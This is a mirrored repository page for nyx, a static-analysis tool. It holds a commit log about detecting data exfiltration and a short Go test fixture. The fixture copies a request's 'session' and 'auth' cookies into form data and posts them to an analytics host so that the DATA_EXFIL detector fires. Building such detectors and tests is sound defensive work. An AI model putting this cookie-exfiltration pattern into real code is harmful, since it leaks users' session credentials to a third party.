mirror of
https://github.com/elicpeter/nyx.git
synced 2026-06-09 19:45:13 +02:00
58f1794a4e
* feat: Enhance data exfiltration detection with source sensitivity gating for cookies and headers * feat: Implement cross-file data exfiltration detection with parameter-specific gate filters * feat: Add calibration tests and refine DATA_EXFIL severity scoring logic * feat: Introduce per-detector configuration for data exfiltration suppression * feat: Enhance DATA_EXFIL findings with destination field tracking in diagnostics and SARIF output * feat: Add tainted body and URL handling for data exfiltration detection * feat: Add integration tests and fixtures for DATA_EXFIL and SSRF detection in Go * feat: Add Java integration tests and fixtures for DATA_EXFIL detection across multiple HTTP clients * feat: Add synthetic externals handling for closure-captured variables in SSA * feat: Implement closure-based suppression for resource leak findings * feat: Add regression guards for shell-injection and taint propagation in for-of destructure patterns * feat: Implement constructor cap narrowing for data exfiltration detection in HTTP request builders * feat: Add gated sinks for data exfiltration detection in C and C++ using curl_easy_setopt * feat: Implement DATA_EXFIL cap parity for backwards analysis and add integration tests * feat: Add data exfiltration sinks for various languages and enhance documentation * refactor: Simplify formatting and improve readability in various files * refactor: Improve readability by simplifying conditional statements and adding clippy linting * docs: Update CHANGELOG and comments for data exfiltration features and configuration * docs: Clarify configuration instructions for data exfiltration trusted destinations * docs: Enhance comments for evidence routing logic in data exfiltration
27 lines
1 KiB
Go
27 lines
1 KiB
Go
// Container-taint DATA_EXFIL: a `map[string]string` is populated with
|
|
// Sensitive cookie values across two keys, then encoded as form data and
|
|
// shipped as the body of an outbound `http.PostForm`. The Go SSA heap
|
|
// model marks the map's `Elements` slot tainted on every `payload[k] =
|
|
// ...` write; the sink-side `collect_tainted_sink_values` heap-loads
|
|
// the same slot when checking the form-data argument, so DATA_EXFIL
|
|
// must fire on the body channel even though the local map name itself
|
|
// is not directly tainted by an Assign. Pairs with
|
|
// `data_exfil_post_form.go` (single-write `url.Values` literal — no
|
|
// container-mutation step).
|
|
//
|
|
// Driven by `data_exfil_go_integration_tests.rs::map_assign_data_exfil`.
|
|
package fixture
|
|
|
|
import (
|
|
"net/http"
|
|
"net/url"
|
|
)
|
|
|
|
func leakSessionMap(r *http.Request) {
|
|
c, _ := r.Cookie("session")
|
|
a, _ := r.Cookie("auth")
|
|
form := url.Values{}
|
|
form["session"] = []string{c.Value}
|
|
form["auth"] = []string{a.Value}
|
|
http.PostForm("https://analytics.internal/track", form)
|
|
}
|